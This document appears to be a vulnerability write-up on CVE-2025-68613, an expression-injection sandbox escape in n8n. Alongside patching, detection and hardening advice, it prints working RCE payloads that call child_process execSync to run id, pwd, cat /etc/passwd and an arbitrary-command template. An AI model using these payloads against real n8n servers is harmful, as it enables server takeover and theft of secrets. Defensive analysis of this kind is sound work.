
CVE-2025-68613 (n8n) Critical RCE analysis + defensive recommendations (patch validation, detection ideas, and hardening tips)
CVE-2025-68613 is a critical remote code execution vulnerability in n8n's workflow automation platform that allows authenticated attackers to execute arbitrary system commands through expression injection.
⚡ Quick Stats
|
🎯 Key Facts
|
| Property | Value |
|---|---|
| 🆔 CVE ID | CVE-2025-68613 |
| 📊 CVSS Score | 9.9 (Critical) 🔴 |
| 🔗 CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H |
| 🏷️ CWE | CWE-913 (Improper Control of Dynamically-Managed Code Resources) |
| 📦 Affected Versions | 0.211.0 → 1.120.3, 1.121.0 |
| ✅ Patched Versions | 1.120.4, 1.121.1, 1.122.0+ |
n8n is an open-source workflow automation platform enabling no-code/low-code integration across 400+ applications. It's widely deployed in:
| 🏢 Use Case | 📝 Description |
|---|---|
| 🔧 DevOps | Automation pipelines, CI/CD integrations |
| 🛡️ Security Ops | SOAR workflows, incident response |
| 💼 Business | Process automation, data workflows |
| 📊 Data | ETL processes, API integrations |
🔓 VULNERABILITY CHAIN:
┌─────────────────────────────────────────────────────────────────┐
│ 📝 n8n Expression Language → Dynamic Data Handling │
│ ↓ │
│ ⚠️ Insufficient Sandbox Isolation in Server-Side Eval │
│ ↓ │
│ 💀 Malicious Expression Escapes Sandbox │
│ ↓ │
│ 🖥️ Access to Node.js child_process Module │
│ ↓ │
│ 💥 FULL RCE - OS Command Execution │
└─────────────────────────────────────────────────────────────────┘
Prerequisites for Exploitation:
| # | 📋 Requirement | 📝 Details |
|---|---|---|
| 1️⃣ | Authentication | Valid n8n user account (low-privilege sufficient) |
| 2️⃣ | Permissions | Workflow creation/editing capability |
| 3️⃣ | Network Access | Ability to reach n8n instance |
| 🏷️ Attribute | 📊 Value | 🔥 Risk |
|---|---|---|
| Complexity | LOW (AC:L) | 🔴 High |
| User Interaction | None Required | 🔴 High |
| Scope | Changed | 🔴 Critical |
graph TD
A[🔐 Authenticated User] -->|Creates| B[📝 New Workflow]
B -->|Injects| C[💀 Malicious Expression]
C -->|Triggers| D[⚡ Expression Evaluation]
D -->|Exploits| E[🔓 Sandbox Escape]
E -->|Accesses| F[🖥️ Node.js Runtime]
F -->|Executes| G[💥 OS Command via child_process]
G -->|Achieves| H[☠️ FULL SERVER COMPROMISE]
style A fill:#4CAF50,color:#fff
style C fill:#ff9800,color:#fff
style E fill:#f44336,color:#fff
style H fill:#9c27b0,color:#fff
⚠️ DISCLAIMER: The following is for educational purposes only. Unauthorized exploitation is illegal.
Initial access to vulnerable n8n workflow automation platform.
🔓 n8n Welcome Dashboard - Entry Point
Create a new workflow that will contain the malicious payload.
📝 Creating new workflow with "Add first step"
Configure workflow trigger - Manual Trigger allows on-demand execution.
🎯 Selecting Manual Trigger for workflow activation
Add the "Edit Fields (Set)" node which will contain the malicious expression.
🔧 Adding "Edit Fields (Set)" node for payload injection
The critical step - injecting the sandbox escape expression to achieve RCE.
💀 Malicious expression executes 'id' command successfully!
// 🔴 MALICIOUS PAYLOAD (DO NOT USE ILLEGALLY)
{{ (function(){ return this.process.mainModule.require('child_process').execSync('id').toString(); })() }}
Output Shows: uid=1000(node) gid=1000(node) groups=1000(node) ✅ RCE CONFIRMED!
Code Injection GIF
⚠️ WARNING: These payloads are for authorized security testing only. Unauthorized use is illegal!
{{ (function(){ return this.process.mainModule.require('child_process').execSync('id').toString() })() }}
{{ (function(){ return this.process.mainModule.require('child_process').execSync('pwd').toString() })() }}
{{ (function(){ return this.process.mainModule.require('child_process').execSync('cat /etc/passwd').toString() })() }}
{{ (function(){ return this.process.mainModule.require('child_process').execSync('YOUR_COMMAND_HERE').toString() })() }}
💀 Reading /etc/passwd - Full file system access demonstrated!
| 🎯 Payload | 📋 Expected Output |
|---|---|
id | uid=1000(node) gid=1000(node) groups=1000(node) |
pwd | /app |
cat /etc/passwd | Full system user list (root, daemon, node, etc.) |
env | All environment variables including secrets |
ls -la / | Root filesystem listing |
┌─────────────────────────────────────────────────────────────────────────┐
│ 🔴 VULNERABILITY ROOT CAUSE │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ The n8n expression evaluator LACKS a sanitizer to prevent function │
│ expressions from accessing: │
│ │
│ ❌ this.process → Node.js process object │
│ ❌ mainModule.require → Module loading system │
│ ❌ child_process → OS command execution │
│ │
│ This allows direct access to system modules and arbitrary code exec! │
│ │
└─────────────────────────────────────────────────────────────────────────┘
|
|
# 🛡️ Upgrade n8n to patched version
npm install -g n8n@latest
# Or with Docker
docker pull n8n/n8n:1.122.0
| Phase | 🔥 Action | 💀 Impact |
|---|---|---|
| 1️⃣ | Initial Access | Authenticate to n8n |
| 2️⃣ | Execution | Submit malicious workflow |
| 3️⃣ | Persistence | Deploy reverse shell/backdoor |
| 4️⃣ | C2 | Establish command & control |
| 5️⃣ | Actions | Exfiltrate data, lateral movement |
| 🎯 Action | 💥 Impact Level |
|---|---|
| 🔑 Credential Theft | Extract API keys, OAuth tokens, DB passwords |
| 📤 Data Exfiltration | Workflow data, execution logs, business info |
| 🔒 Persistence | Cron jobs, startup scripts, web shells |
| 🔀 Lateral Movement | Pivot to databases, CI/CD, cloud infra |
| 🗑️ Workflow Manipulation | Modify/destroy automation logic |
🔴 Confidentiality (HIGH)
|
🟠 Integrity (HIGH)
|
🟡 Availability (HIGH)
|
| # | 📋 Method | 🔍 What to Monitor |
|---|---|---|
| 📜 | Log Analysis | Unusual commands from n8n process, failed expressions |
| 🌐 | Network | Outbound connections to unknown IPs, large POST requests |
| ⚡ | Runtime | child_process invocations, unexpected spawns |
| 📦 | Version Audit | Check against vulnerable version range |
#!/usr/bin/env bash
# 🔍 CVE-2025-68613 n8n version audit
echo "🔍 Checking n8n version..."
if command -v n8n >/dev/null 2>&1; then
VER="$(n8n --version | tr -d 'v' | head -n1)"
if [[ "$VER" < "1.120.4" ]] && [[ "$VER" >= "0.211.0" ]]; then
echo "⚠️ VULNERABLE: n8n $VER affected by CVE-2025-68613"
echo "📦 Required: Upgrade to 1.120.4, 1.121.1, or 1.122.0+"
exit 2
else
echo "✅ SAFE: n8n $VER is patched"
fi
else
echo "❌ n8n not found in PATH"
fi
| 🔢 Priority | 🛠️ Action | 📝 Details |
|---|---|---|
| 🔴 P0 | PATCH NOW | Upgrade to 1.120.4, 1.121.1, or 1.122.0+ |
| 🟠 P1 | Restrict Access | Limit workflow creation to trusted users |
| 🟡 P2 | Container Hardening | Deploy with security restrictions |
# 🛡️ Hardened n8n deployment
FROM n8n/n8n:1.122.0
# 👤 Run as non-root user
USER node
# 🔒 Apply these runtime flags:
# --read-only --tmpfs /tmp:rw,noexec,nosuid
# --cap-drop=ALL --cap-add=NET_BIND_SERVICE
# --security-opt seccomp=n8n-seccomp.json
| 🛡️ Measure | 📝 Implementation |
|---|---|
| 🌐 Network Segmentation | Isolate n8n instances |
| 🔥 WAF Rules | Monitor expression patterns |
| 📜 Audit Logging | Enable comprehensive logging |
| 🔍 Security Reviews | Regular workflow assessments |
| 🔓 Least Privilege | Enforce access controls |
How would you design a detection rule to identify expression injection attempts in n8n workflow definitions before execution, considering the need to balance security with legitimate dynamic expression usage?
Bonus: What runtime protections would you implement to limit blast radius if sandbox escape occurs despite patching?
#CVE-2025-68613 #n8n #RCE #Expression-Injection #Workflow-Automation
#Sandbox-Escape #CWE-913 #Critical-Vulnerability #Pentesting #Blue-Team
⚠️ DISCLAIMER: This analysis is for educational and defensive security purposes only.
Unauthorized exploitation of vulnerabilities is ILLEGAL.